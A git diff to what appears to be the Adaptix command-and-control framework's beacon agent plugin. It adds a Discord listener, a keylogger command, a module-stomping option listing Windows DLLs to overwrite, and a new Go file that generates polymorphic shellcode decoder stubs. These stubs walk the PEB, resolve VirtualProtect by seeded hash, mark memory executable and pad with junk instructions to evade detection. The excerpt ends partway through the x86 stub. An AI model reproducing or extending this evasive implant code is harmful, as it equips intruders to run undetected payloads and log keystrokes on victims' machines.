diff --git a/AdaptixServer/extenders/beacon_agent/Makefile b/AdaptixServer/extenders/beacon_agent/Makefile
index 5fab655b4..33599f67d 100644
--- a/AdaptixServer/extenders/beacon_agent/Makefile
+++ b/AdaptixServer/extenders/beacon_agent/Makefile
@@ -2,7 +2,7 @@ all: clean
@ echo " * Building agent_beacon plugin"
@ mkdir dist
@ cp config.yaml ax_config.axs ./dist/
- @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_beacon.so pl_main.go pl_packer.go pl_utils.go pl_sideloading.go
+ @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_beacon.so pl_main.go pl_packer.go pl_utils.go pl_sideloading.go pl_hashes.go pl_encoder.go
@ echo " done..."
@ echo " * Building agent"
@@ -11,6 +11,9 @@ all: clean
@ mv src_beacon/objects_smb ./dist/objects_smb
@ mv src_beacon/objects_tcp ./dist/objects_tcp
@ mv src_beacon/objects_dns ./dist/objects_dns
+ @ mv src_beacon/objects_discord ./dist/objects_discord
+ @ cp -r src_beacon/beacon ./dist/beacon
+ @ cp -r src_beacon/files ./dist/files
@ echo " done..."
clean:
diff --git a/AdaptixServer/extenders/beacon_agent/ax_config.axs b/AdaptixServer/extenders/beacon_agent/ax_config.axs
index cb1f3fc7e..953ef5150 100644
--- a/AdaptixServer/extenders/beacon_agent/ax_config.axs
+++ b/AdaptixServer/extenders/beacon_agent/ax_config.axs
@@ -268,6 +268,8 @@ function RegisterCommands(listenerType)
ax.execute_alias(id, cmdline, new_cmd);
});
+ let cmd_keylog = ax.create_command("keylog", "Start keyboard logger (stop with 'jobs kill')", "keylog", "Task: start keylogger");
+
let cmd_interact = ax.create_command("interact", "Set 'sleep 0'", "interact");
cmd_interact.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
ax.execute_alias(id, cmdline, "sleep 0");
@@ -275,20 +277,20 @@ function RegisterCommands(listenerType)
if(listenerType == "BeaconDNS") {
let commands_dns = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid,
- cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep,
+ cmd_job, cmd_keylog, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep,
cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell, cmd_powershell, cmd_interact, cmd_burst] );
return { commands_windows: commands_dns }
}
- else if(listenerType == "BeaconHTTP") {
+ else if(listenerType == "BeaconHTTP" || listenerType == "BeaconDiscord") {
let commands_http = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid,
- cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep,
+ cmd_job, cmd_keylog, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep,
cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell, cmd_powershell, cmd_interact] );
return { commands_windows: commands_http }
}
else if (listenerType == "BeaconSMB" || listenerType == "BeaconTCP") {
let commands_internal = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid,
- cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd,
+ cmd_job, cmd_keylog, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd,
cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell, cmd_powershell, cmd_interact] );
return { commands_windows: commands_internal }
@@ -316,7 +318,7 @@ function GenerateUI(listeners_type)
spinJitter.setRange(0, 100);
spinJitter.setValue(0);
- if( !listeners_type.includes("BeaconHTTP") && !listeners_type.includes("BeaconDNS") ) {
+ if( !listeners_type.includes("BeaconHTTP") && !listeners_type.includes("BeaconDNS") && !listeners_type.includes("BeaconDiscord") ) {
labelSleep.setVisible(false);
textSleep.setVisible(false);
spinJitter.setVisible(false);
@@ -345,6 +347,28 @@ function GenerateUI(listeners_type)
// checkIatHiding.setVisible(false);
// }
+ let checkModuleStomp = form.create_check("Module Stomping (Shellcode x64 only)");
+ checkModuleStomp.setChecked(true);
+ let labelStompPaths = form.create_label("Stomp DLLs:");
+ let textStompPaths = form.create_textmulti(
+ "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll\n" +
+ "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorlib.ni.dll\n" +
+ "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll\n" +
+ "C:\\Program Files\\Google\\Chrome\\Application\\chrome_elf.dll\n" +
+ "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome_elf.dll\n" +
+ "C:\\Program Files\\Mozilla Firefox\\nss3.dll\n" +
+ "C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll\n" +
+ "C:\\Program Files\\7-Zip\\7z.dll\n" +
+ "C:\\Program Files\\Git\\mingw64\\bin\\libcurl-4.dll\n" +
+ "C:\\Program Files\\VideoLAN\\VLC\\libvlc.dll\n" +
+ "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge_elf.dll\n" +
+ "mshtml.dll\n" +
+ "shell32.dll\n" +
+ "dbghelp.dll\n" +
+ "mfc140u.dll\n" +
+ "vcruntime140.dll"
+ );
+
//////////////////// DNS Settings
let labelDnsMode = form.create_label("DNS Mode:");
@@ -484,9 +508,12 @@ function GenerateUI(listeners_type)
layout.addWidget(labelRotation, 8, 0, 1, 1);
layout.addWidget(comboRotation, 8, 1, 1, 2);
layout.addWidget(checkIatHiding, 9, 0, 1, 3);
- layout.addWidget(group_proxy, 10, 0, 1, 3);
- layout.addWidget(group_dns, 12, 0, 1, 3);
- layout.addWidget(spacer2, 12, 0, 1, 3);
+ layout.addWidget(checkModuleStomp, 10, 0, 1, 3);
+ layout.addWidget(labelStompPaths, 11, 0, 1, 1);
+ layout.addWidget(textStompPaths, 11, 1, 1, 2);
+ layout.addWidget(group_proxy, 12, 0, 1, 3);
+ layout.addWidget(group_dns, 14, 0, 1, 3);
+ layout.addWidget(spacer2, 15, 0, 1, 3);
form.connect(comboAgentFormat, "currentTextChanged", function(text) {
if(text == "Service Exe") {
@@ -524,6 +551,8 @@ function GenerateUI(listeners_type)
container.put("is_sideloading", checkSideloading)
container.put("sideloading_content", sideloadingSelector)
container.put("iat_hiding", checkIatHiding)
+ container.put("module_stomp", checkModuleStomp)
+ container.put("stomp_paths", textStompPaths)
container.put("use_proxy", group_proxy)
container.put("proxy_type", comboProxyType)
container.put("proxy_host", textProxyServer)
@@ -538,7 +567,7 @@ function GenerateUI(listeners_type)
return {
ui_panel: panel,
ui_container: container,
- ui_height: 480,
+ ui_height: 620,
ui_width: 500
}
}
\ No newline at end of file
diff --git a/AdaptixServer/extenders/beacon_agent/config.yaml b/AdaptixServer/extenders/beacon_agent/config.yaml
index 9698c5847..feb472a3f 100644
--- a/AdaptixServer/extenders/beacon_agent/config.yaml
+++ b/AdaptixServer/extenders/beacon_agent/config.yaml
@@ -9,4 +9,5 @@ listeners:
- "BeaconTCP"
- "BeaconSMB"
- "BeaconDNS"
+ - "BeaconDiscord"
multi_listeners: false
diff --git a/AdaptixServer/extenders/beacon_agent/go.sum b/AdaptixServer/extenders/beacon_agent/go.sum
index 77f53e819..8889bb84d 100644
--- a/AdaptixServer/extenders/beacon_agent/go.sum
+++ b/AdaptixServer/extenders/beacon_agent/go.sum
@@ -1 +1,2 @@
github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA=
+github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ=
diff --git a/AdaptixServer/extenders/beacon_agent/pl_encoder.go b/AdaptixServer/extenders/beacon_agent/pl_encoder.go
new file mode 100644
index 000000000..2b82a5db2
--- /dev/null
+++ b/AdaptixServer/extenders/beacon_agent/pl_encoder.go
@@ -0,0 +1,735 @@
+package main
+
+import (
+ "crypto/rand"
+ "encoding/binary"
+ "math/big"
+)
+
+// djb2HashWithSeed computes the DJB2 hash of a string with a custom seed.
+// Used to pre-compute the VirtualProtect hash for each stub.
+func djb2HashWithSeed(s string, seed uint32) uint32 {
+ h := seed
+ for i := 0; i < len(s); i++ {
+ h = h*33 + uint32(s[i])
+ }
+ return h
+}
+
+// cryptoRandIntn returns a random int in [0, n).
+func cryptoRandIntn(n int) int {
+ if n <= 0 {
+ return 0
+ }
+ val, _ := rand.Int(rand.Reader, big.NewInt(int64(n)))
+ return int(val.Int64())
+}
+
+// emitJunkX64 produces minLen..maxLen bytes of junk instructions (x64-safe).
+// Each instruction is emitted atomically — no truncation mid-instruction.
+func emitJunkX64(minLen, maxLen int) []byte {
+ if maxLen < 1 {
+ return nil
+ }
+ if minLen < 0 {
+ minLen = 0
+ }
+ // Target between minLen and maxLen
+ target := minLen
+ if maxLen > minLen {
+ target = minLen + cryptoRandIntn(maxLen-minLen+1)
+ }
+
+ // x64-safe junk instructions (complete, never truncated)
+ type junkInstr struct {
+ bytes []byte
+ }
+ pool := []junkInstr{
+ {[]byte{0x90}}, // nop (1B)
+ {[]byte{0x66, 0x90}}, // 2-byte nop
+ {[]byte{0x0F, 0x1F, 0x00}}, // 3-byte nop
+ {[]byte{0x0F, 0x1F, 0x40, 0x00}}, // 4-byte nop
+ {[]byte{0x53, 0x5B}}, // push rbx; pop rbx (2B)
+ {[]byte{0x51, 0x59}}, // push rcx; pop rcx (2B)
+ {[]byte{0x52, 0x5A}}, // push rdx; pop rdx (2B)
+ {[]byte{0x50, 0x58}}, // push rax; pop rax (2B)
+ }
+
+ var junk []byte
+ for len(junk) < target {
+ remaining := target - len(junk)
+ // Pick a random instruction that fits
+ var candidates []int
+ for i, instr := range pool {
+ if len(instr.bytes) <= remaining {
+ candidates = append(candidates, i)
+ }
+ }
+ if len(candidates) == 0 {
+ break // Can't fit any more instructions
+ }
+ chosen := pool[candidates[cryptoRandIntn(len(candidates))]]
+ junk = append(junk, chosen.bytes...)
+ }
+ return junk
+}
+
+// emitJunkX86 produces minLen..maxLen bytes of junk instructions (x86-safe).
+func emitJunkX86(minLen, maxLen int) []byte {
+ if maxLen < 1 {
+ return nil
+ }
+ if minLen < 0 {
+ minLen = 0
+ }
+ target := minLen
+ if maxLen > minLen {
+ target = minLen + cryptoRandIntn(maxLen-minLen+1)
+ }
+
+ type junkInstr struct {
+ bytes []byte
+ }
+ pool := []junkInstr{
+ {[]byte{0x90}}, // nop (1B)
+ {[]byte{0x0F, 0x1F, 0x00}}, // 3-byte nop
+ {[]byte{0x0F, 0x1F, 0x40, 0x00}}, // 4-byte nop
+ {[]byte{0x53, 0x5B}}, // push ebx; pop ebx (2B)
+ {[]byte{0x51, 0x59}}, // push ecx; pop ecx (2B)
+ {[]byte{0x52, 0x5A}}, // push edx; pop edx (2B)
+ {[]byte{0x50, 0x58}}, // push eax; pop eax (2B)
+ {[]byte{0x87, 0xDB}}, // xchg ebx, ebx (2B)
+ }
+
+ var junk []byte
+ for len(junk) < target {
+ remaining := target - len(junk)
+ var candidates []int
+ for i, instr := range pool {
+ if len(instr.bytes) <= remaining {
+ candidates = append(candidates, i)
+ }
+ }
+ if len(candidates) == 0 {
+ break
+ }
+ chosen := pool[candidates[cryptoRandIntn(len(candidates))]]
+ junk = append(junk, chosen.bytes...)
+ }
+ return junk
+}
+
+// put32LE writes a uint32 as little-endian into dst at offset off.
+func put32LE(dst []byte, off int, val uint32) {
+ binary.LittleEndian.PutUint32(dst[off:off+4], val)
+}
+
+// patchDisp32 writes a signed 32-bit displacement at offset off in dst.
+func patchDisp32(dst []byte, off int, disp int) {
+ put32LE(dst, off, uint32(int32(disp)))
+}
+
+// generateStubX64 builds a polymorphic x64 XOR decoder stub.
+// Returns (stub, keyOffset, sizeOffset).
+func generateStubX64() ([]byte, int, int) {
+ // Pick random DJB2 seed and pre-compute VirtualProtect hash
+ seedVal := uint32(cryptoRandIntn(0xFFFFFFFE)) + 1 // 1..0xFFFFFFFF
+ vpHash := djb2HashWithSeed("VirtualProtect", seedVal)
+
+ var code []byte
+ emit := func(b ...byte) { code = append(code, b...) }
+ emitBytes := func(b []byte) { code = append(code, b...) }
+
+ // ===== Block 1: Prologue =====
+ // 6 pushes = 48 bytes on stack. With 16-aligned RSP at entry (injection),
+ // RSP after 6 pushes = -48 = 0 mod 16. sub rsp,0x28 (40) → -88 = 8 mod 16.
+ // call will push 8 more → 0 mod 16 inside callee. Correct for Win64 ABI.
+ // push rbx; push rsi; push rdi; push rbp; push r12; push r13
+ emit(0x53, 0x56, 0x57, 0x55, 0x41, 0x54, 0x41, 0x55)
+
+ emitBytes(emitJunkX64(2, 6))
+
+ // ===== Block 2: PEB walk → kernel32 base into r12 =====
+ // mov rax, gs:[0x60] — TEB → PEB
+ emit(0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00)
+ // mov rax, [rax+0x18] — PEB.Ldr
+ emit(0x48, 0x8B, 0x40, 0x18)
+ // mov rax, [rax+0x20] — InMemoryOrderModuleList
+ emit(0x48, 0x8B, 0x40, 0x20)
+ // mov rax, [rax] — Flink (next entry)
+ emit(0x48, 0x8B, 0x00)
+ // mov rax, [rax] — Flink again (kernel32)
+ emit(0x48, 0x8B, 0x00)
+ // mov r12, [rax+0x20] — DLL base
+ emit(0x4C, 0x8B, 0x60, 0x20)
+
+ emitBytes(emitJunkX64(2, 4))
+
+ // ===== Block 3: Parse export table, DJB2 hash → find VirtualProtect =====
+ // movsxd rbx, dword [r12+0x3C] — e_lfanew
+ emit(0x49, 0x63, 0x5C, 0x24, 0x3C)
+ // add rbx, r12
+ emit(0x4C, 0x01, 0xE3)
+ // mov eax, [rbx+0x88] — ExportDir RVA
+ emit(0x8B, 0x83, 0x88, 0x00, 0x00, 0x00)
+ // add rax, r12
+ emit(0x4C, 0x01, 0xE0)
+ // mov ecx, [rax+0x18] — NumberOfNames
+ emit(0x8B, 0x48, 0x18)
+ // mov ebx, [rax+0x20] — AddressOfNames RVA
+ emit(0x8B, 0x58, 0x20)
+ // add rbx, r12
+ emit(0x4C, 0x01, 0xE3)
+ // push rax (save ExportDir base)
+ emit(0x50)
+ // xor edi, edi
+ emit(0x31, 0xFF)
+
+ // Hash loop start
+ hashLoopStart := len(code)
+ // mov esi, [rbx + rdi*4]
+ emit(0x8B, 0x34, 0xBB)
+ // add rsi, r12
+ emit(0x4C, 0x01, 0xE6)
+
+ // mov eax, — polymorphic seed
+ emit(0xB8)
+ seedBytes := make([]byte, 4)
+ binary.LittleEndian.PutUint32(seedBytes, seedVal)
+ emitBytes(seedBytes)
+
+ // DJB2 inner loop
+ djb2Start := len(code)
+ // movzx edx, byte [rsi]
+ emit(0x0F, 0xB6, 0x16)
+ // inc rsi
+ emit(0x48, 0xFF, 0xC6)
+ // test edx, edx
+ emit(0x85, 0xD2)
+ // jz hash_done (skip imul+add+jmp = 7 bytes)
+ emit(0x74, 0x07)
+ // imul eax, 0x21
+ emit(0x6B, 0xC0, 0x21)
+ // add eax, edx
+ emit(0x01, 0xD0)
+ // jmp djb2Start
+ jmpBackDjb2 := len(code)
+ emit(0xEB, 0x00) // placeholder
+ code[jmpBackDjb2+1] = byte(djb2Start - (jmpBackDjb2 + 2))
+
+ // hash_done:
+ // cmp eax,
+ emit(0x3D)
+ vpHashBytes := make([]byte, 4)
+ binary.LittleEndian.PutUint32(vpHashBytes, vpHash)
+ emitBytes(vpHashBytes)
+
+ // je found (placeholder)
+ jeFoundOff := len(code)
+ emit(0x74, 0x00) // patched below
+
+ // inc edi
+ emit(0xFF, 0xC7)
+ // cmp edi, ecx
+ emit(0x39, 0xCF)
+ // jb hashLoopStart
+ jbHashLoop := len(code)
+ emit(0x72, 0x00) // placeholder
+ code[jbHashLoop+1] = byte(hashLoopStart - (jbHashLoop + 2))
+
+ // not found: pop rax; jmp near epilogue (E9 rel32 — safe for any distance)
+ emit(0x58) // pop rax
+ jmpNotFoundOff := len(code)
+ emit(0xE9, 0x00, 0x00, 0x00, 0x00) // jmp near rel32 placeholder
+
+ // found: patch je offset
+ foundOff := len(code)
+ code[jeFoundOff+1] = byte(foundOff - (jeFoundOff + 2))
+
+ // pop rax (restore ExportDir pointer)
+ emit(0x58)
+
+ // Resolve function address from ordinals + addresses
+ // mov edx, [rax+0x24] — AddressOfOrdinals RVA
+ emit(0x8B, 0x50, 0x24)
+ // add rdx, r12
+ emit(0x4C, 0x01, 0xE2)
+ // movzx edi, word [rdx + rdi*2]
+ emit(0x0F, 0xB7, 0x3C, 0x7A)
+ // mov edx, [rax+0x1C] — AddressOfFunctions RVA
+ emit(0x8B, 0x50, 0x1C)
+ // add rdx, r12
+ emit(0x4C, 0x01, 0xE2)
+ // mov eax, [rdx + rdi*4]
+ emit(0x8B, 0x04, 0xBA)
+ // add rax, r12
+ emit(0x4C, 0x01, 0xE0)
+ // mov r12, rax — VirtualProtect address in r12
+ emit(0x49, 0x89, 0xC4)
+
+ emitBytes(emitJunkX64(2, 4))
+
+ // ===== Block 4: Call VirtualProtect =====
+ // sub rsp, 0x28 (shadow space 32 + 8 alignment)
+ // With 8 pushes (64 bytes), RSP is 16-aligned. sub 0x28 (40) → 8 mod 16.
+ // call pushes 8 → 0 mod 16 inside VirtualProtect. Correct.
+ emit(0x48, 0x83, 0xEC, 0x28)
+
+ // lea rcx, [rip - X] — address of stub start (patched later)
+ vpCallRcxOff := len(code)
+ emit(0x48, 0x8D, 0x0D, 0x00, 0x00, 0x00, 0x00) // placeholder disp32
+
+ // lea rdx, [rip + Y] — address of size field (patched later)
+ vpCallRdxOff := len(code)
+ emit(0x48, 0x8D, 0x15, 0x00, 0x00, 0x00, 0x00) // placeholder disp32
+
+ // mov eax, [rip + Z] — load payload size (patched later)
+ vpCallSizeOff := len(code)
+ emit(0x8B, 0x05, 0x00, 0x00, 0x00, 0x00) // placeholder disp32
+
+ // lea rdx, [rdx + rax + 0x14] — end address = &sizeField + payloadSize + 20 (key+size)
+ emit(0x48, 0x8D, 0x54, 0x02, 0x14)
+ // sub rdx, rcx — dwSize = end - start
+ emit(0x48, 0x29, 0xCA)
+
+ // Pick one of two PAGE_EXECUTE_READWRITE encodings
+ if cryptoRandIntn(2) == 0 {
+ // mov r8d, 0x40
+ emit(0x41, 0xB8, 0x40, 0x00, 0x00, 0x00)
+ } else {
+ // xor r8d, r8d; add r8d, 0x40
+ emit(0x45, 0x31, 0xC0, 0x41, 0x83, 0xC0, 0x40)
+ }
+
+ // lea r9, [rsp+0x20] — lpflOldProtect (in shadow space)
+ emit(0x4C, 0x8D, 0x4C, 0x24, 0x20)
+ // call r12 (VirtualProtect)
+ emit(0x41, 0xFF, 0xD4)
+ // add rsp, 0x28
+ emit(0x48, 0x83, 0xC4, 0x28)
+
+ emitBytes(emitJunkX64(2, 4))
+
+ // ===== Block 5: XOR decode loop =====
+ // lea rsi, [rip + key_offset]
+ xorLeaKeyOff := len(code)
+ emit(0x48, 0x8D, 0x35, 0x00, 0x00, 0x00, 0x00) // placeholder
+
+ // lea rdi, [rip + data_offset]
+ xorLeaDataOff := len(code)
+ emit(0x48, 0x8D, 0x3D, 0x00, 0x00, 0x00, 0x00) // placeholder
+
+ // mov ecx, [rip + size_offset]
+ xorMovSizeOff := len(code)
+ emit(0x8B, 0x0D, 0x00, 0x00, 0x00, 0x00) // placeholder
+
+ // XOR loop — pick one of 3 variants for zero-init
+ switch cryptoRandIntn(3) {
+ case 0:
+ emit(0x31, 0xD2) // xor edx, edx
+ case 1:
+ emit(0x29, 0xD2) // sub edx, edx
+ case 2:
+ emit(0x33, 0xD2) // xor edx, edx (alternate encoding)
+ }
+
+ xorLoopStart := len(code)
+ // mov al, [rsi + rdx]
+ emit(0x8A, 0x04, 0x16)
+ // xor [rdi], al
+ emit(0x30, 0x07)
+
+ // inc rdi — pick variant
+ switch cryptoRandIntn(3) {
+ case 0:
+ emit(0x48, 0xFF, 0xC7) // inc rdi
+ case 1:
+ emit(0x48, 0x83, 0xC7, 0x01) // add rdi, 1
+ case 2:
+ emit(0x48, 0x8D, 0x7F, 0x01) // lea rdi, [rdi+1]
+ }
+
+ // inc edx
+ emit(0xFF, 0xC2)
+ // and edx, 0x0F
+ emit(0x83, 0xE2, 0x0F)
+
+ // dec ecx — pick variant
+ switch cryptoRandIntn(2) {
+ case 0:
+ emit(0xFF, 0xC9) // dec ecx
+ case 1:
+ emit(0x83, 0xE9, 0x01) // sub ecx, 1
+ }
+
+ // jnz xorLoopStart
+ jnzOff := len(code)
+ emit(0x75, 0x00) // placeholder
+ code[jnzOff+1] = byte(xorLoopStart - (jnzOff + 2))
+
+ // ===== Block 6: Epilogue =====
+ epilogueOff := len(code)
+ // pop r13; pop r12; pop rbp; pop rdi; pop rsi; pop rbx (reverse order of prologue)
+ emit(0x41, 0x5D, 0x41, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B)
+
+ // jmp to payload (will jump over key+size area)
+ jmpPayloadOff := len(code)
+ emit(0xEB, 0x00) // placeholder — patched after we know key+size layout
+
+ // Patch jmpNotFound (E9 rel32) to jump to epilogue
+ patchDisp32(code, jmpNotFoundOff+1, epilogueOff-(jmpNotFoundOff+5))
+
+ // ===== Data area: [key 16B] [size 4B] =====
+ keyOffset := len(code)
+ code = append(code, make([]byte, 16)...) // key placeholder
+ sizeOffset := len(code)
+ code = append(code, make([]byte, 4)...) // size placeholder
+
+ // Patch jmp over data area
+ dataEnd := len(code)
+ code[jmpPayloadOff+1] = byte(dataEnd - (jmpPayloadOff + 2))
+
+ // ===== Patch RIP-relative offsets =====
+ // VirtualProtect call patches:
+ // rcx = lea [rip + disp] pointing to start of stub (offset 0)
+ patchDisp32(code, vpCallRcxOff+3, -(vpCallRcxOff+7))
+
+ // rdx = lea [rip + disp] pointing to size field
+ patchDisp32(code, vpCallRdxOff+3, sizeOffset-(vpCallRdxOff+7))
+
+ // eax = mov [rip + disp] loading size value
+ patchDisp32(code, vpCallSizeOff+2, sizeOffset-(vpCallSizeOff+6))
+
+ // XOR loop lea key
+ patchDisp32(code, xorLeaKeyOff+3, keyOffset-(xorLeaKeyOff+7))
+
+ // XOR loop lea data (points to dataEnd = right after size field)
+ patchDisp32(code, xorLeaDataOff+3, dataEnd-(xorLeaDataOff+7))
+
+ // XOR loop mov size
+ patchDisp32(code, xorMovSizeOff+2, sizeOffset-(xorMovSizeOff+6))
+
+ return code, keyOffset, sizeOffset
+}
+
+// generateStubX86 builds a polymorphic x86 XOR decoder stub.
+// Returns (stub, keyOffset, sizeOffset).
+func generateStubX86() ([]byte, int, int) {
+ seedVal := uint32(cryptoRandIntn(0xFFFFFFFE)) + 1
+ vpHash := djb2HashWithSeed("VirtualProtect", seedVal)
+
+ var code []byte
+ emit := func(b ...byte) { code = append(code, b...) }
+ emitBytes := func(b []byte) { code = append(code, b...) }
+
+ // ===== Block 1: Prologue =====
+ // pushad
+ emit(0x60)
+ // call $+5; pop ebp; sub ebp, 6 → get EIP into ebp (base of stub)
+ emit(0xE8, 0x00, 0x00, 0x00, 0x00)
+ emit(0x5D)
+ emit(0x83, 0xED, 0x06)
+
+ emitBytes(emitJunkX86(2, 4))
+
+ // ===== Block 2: PEB walk → kernel32 base into ebx =====
+ // mov eax, fs:[0x30]
+ emit(0x64, 0xA1, 0x30, 0x00, 0x00, 0x00)
+ // mov eax, [eax+0x0C]
+ emit(0x8B, 0x40, 0x0C)
+ // mov eax, [eax+0x14]
+ emit(0x8B, 0x40, 0x14)
+ // mov eax, [eax]
+ emit(0x8B, 0x00)
+ // mov eax, [eax]
+ emit(0x8B, 0x00)
+ // mov ebx, [eax+0x10]
+ emit(0x8B, 0x58, 0x10)
+
+ emitBytes(emitJunkX86(2, 4))
+
+ // ===== Block 3: Export table + DJB2 hash → VirtualProtect =====
+ // mov eax, [ebx+0x3C]
+ emit(0x8B, 0x43, 0x3C)
+ // add eax, ebx
+ emit(0x01, 0xD8)
+ // mov eax, [eax+0x78]
+ emit(0x8B, 0x40, 0x78)
+ // add eax, ebx
+ emit(0x01, 0xD8)
+ // mov ecx, [eax+0x18]
+ emit(0x8B, 0x48, 0x18)
+ // push eax
+ emit(0x50)
+ // mov edx, [eax+0x20]
+ emit(0x8B, 0x50, 0x20)
+ // add edx, ebx
+ emit(0x01, 0xDA)
+ // xor edi, edi
+ emit(0x31, 0xFF)
+
+ // Hash loop
+ hashLoopStart := len(code)
+ // mov esi, [edx+edi*4]
+ emit(0x8B, 0x34, 0xBA)
+ // add esi, ebx
+ emit(0x01, 0xDE)
+ // mov eax,
+ emit(0xB8)
+ seedBytes := make([]byte, 4)
+ binary.LittleEndian.PutUint32(seedBytes, seedVal)
+ emitBytes(seedBytes)
+
+ // DJB2 inner loop
+ djb2Start := len(code)
+ // movzx ecx, byte [esi]
+ emit(0x0F, 0xB6, 0x0E)
+ // inc esi
+ emit(0x46)
+ // test ecx, ecx
+ emit(0x85, 0xC9)
+ // jz hash_done
+ emit(0x74, 0x07)
+ // imul eax, 0x21
+ emit(0x6B, 0xC0, 0x21)
+ // add eax, ecx
+ emit(0x01, 0xC8)
+ // jmp djb2Start
+ jmpDjb2 := len(code)
+ emit(0xEB, 0x00)
+ code[jmpDjb2+1] = byte(djb2Start - (jmpDjb2 + 2))
+
+ // hash_done: restore ecx and check
+ // pop ecx; push ecx — restore ExportDir pointer for ecx
+ emit(0x59, 0x51)
+ // mov ecx, [ecx+0x18] — NumberOfNames
+ emit(0x8B, 0x49, 0x18)
+
+ // cmp eax,
+ emit(0x3D)
+ vpHashBytes := make([]byte, 4)
+ binary.LittleEndian.PutUint32(vpHashBytes, vpHash)
+ emitBytes(vpHashBytes)
+
+ // je found
+ jeFoundOff := len(code)
+ emit(0x74, 0x00)
+
+ // inc edi
+ emit(0x47)
+ // cmp edi, ecx
+ emit(0x39, 0xCF)
+ // jb hashLoopStart
+ jbHashLoop := len(code)
+ emit(0x72, 0x00)
+ code[jbHashLoop+1] = byte(hashLoopStart - (jbHashLoop + 2))
+
+ // not found: pop eax; jmp near epilogue (E9 rel32)
+ emit(0x58)
+ jmpNotFoundOff := len(code)
+ emit(0xE9, 0x00, 0x00, 0x00, 0x00) // jmp near rel32 placeholder
+
+ // found:
+ foundOff := len(code)
+ code[jeFoundOff+1] = byte(foundOff - (jeFoundOff + 2))
+ // pop eax (ExportDir)
+ emit(0x58)
+
+ // Resolve VirtualProtect address
+ // mov edx, [eax+0x24]
+ emit(0x8B, 0x50, 0x24)
+ // add edx, ebx
+ emit(0x01, 0xDA)
+ // movzx edi, word [edx+edi*2]
+ emit(0x0F, 0xB7, 0x3C, 0x7A)
+ // mov edx, [eax+0x1C]
+ emit(0x8B, 0x50, 0x1C)
+ // add edx, ebx
+ emit(0x01, 0xDA)
+ // mov eax, [edx+edi*4]
+ emit(0x8B, 0x04, 0xBA)
+ // add eax, ebx — VirtualProtect in eax
+ emit(0x01, 0xD8)
+
+ emitBytes(emitJunkX86(2, 4))
+
+ // ===== Block 4: Call VirtualProtect =====
+ // sub esp, 4 (old protect)
+ emit(0x83, 0xEC, 0x04)
+ // mov edi, esp
+ emit(0x89, 0xE7)
+ // push edi (lpflOldProtect)
+ emit(0x57)
+
+ // push PAGE_EXECUTE_READWRITE
+ emit(0x6A, 0x40) // push 0x40
+
+ // lea ecx, [ebp + keyOffset] — patched later
+ vpLeaKeyOff := len(code)
+ emit(0x8D, 0x8D, 0x00, 0x00, 0x00, 0x00) // placeholder dword
+
+ // mov edx, [ebp + sizeOffset] — patched later
+ vpMovSizeOff := len(code)
+ emit(0x8B, 0x95, 0x00, 0x00, 0x00, 0x00) // placeholder dword
+
+ // lea edx, [edx + ecx + 0x14]
+ emit(0x8D, 0x54, 0x11, 0x14)
+ // sub edx, ebp — size
+ emit(0x29, 0xEA)
+ // push edx (dwSize)
+ emit(0x52)
+ // push ebp (lpAddress)
+ emit(0x55)
+ // call eax (VirtualProtect)
+ emit(0xFF, 0xD0)
+ // add esp, 4
+ emit(0x83, 0xC4, 0x04)
+
+ emitBytes(emitJunkX86(2, 4))
+
+ // ===== Block 5: XOR decode loop =====
+ // lea esi, [ebp + keyOffset]
+ xorLeaKeyOff := len(code)
+ emit(0x8D, 0xB5, 0x00, 0x00, 0x00, 0x00) // placeholder
+
+ // lea edi, [ebp + dataOffset]
+ xorLeaDataOff := len(code)
+ emit(0x8D, 0xBD, 0x00, 0x00, 0x00, 0x00) // placeholder
+
+ // mov ecx, [ebp + sizeOffset]
+ xorMovSizeOff := len(code)
+ emit(0x8B, 0x8D, 0x00, 0x00, 0x00, 0x00) // placeholder
+
+ // Zero init
+ switch cryptoRandIntn(3) {
+ case 0:
+ emit(0x31, 0xD2) // xor edx, edx
+ case 1:
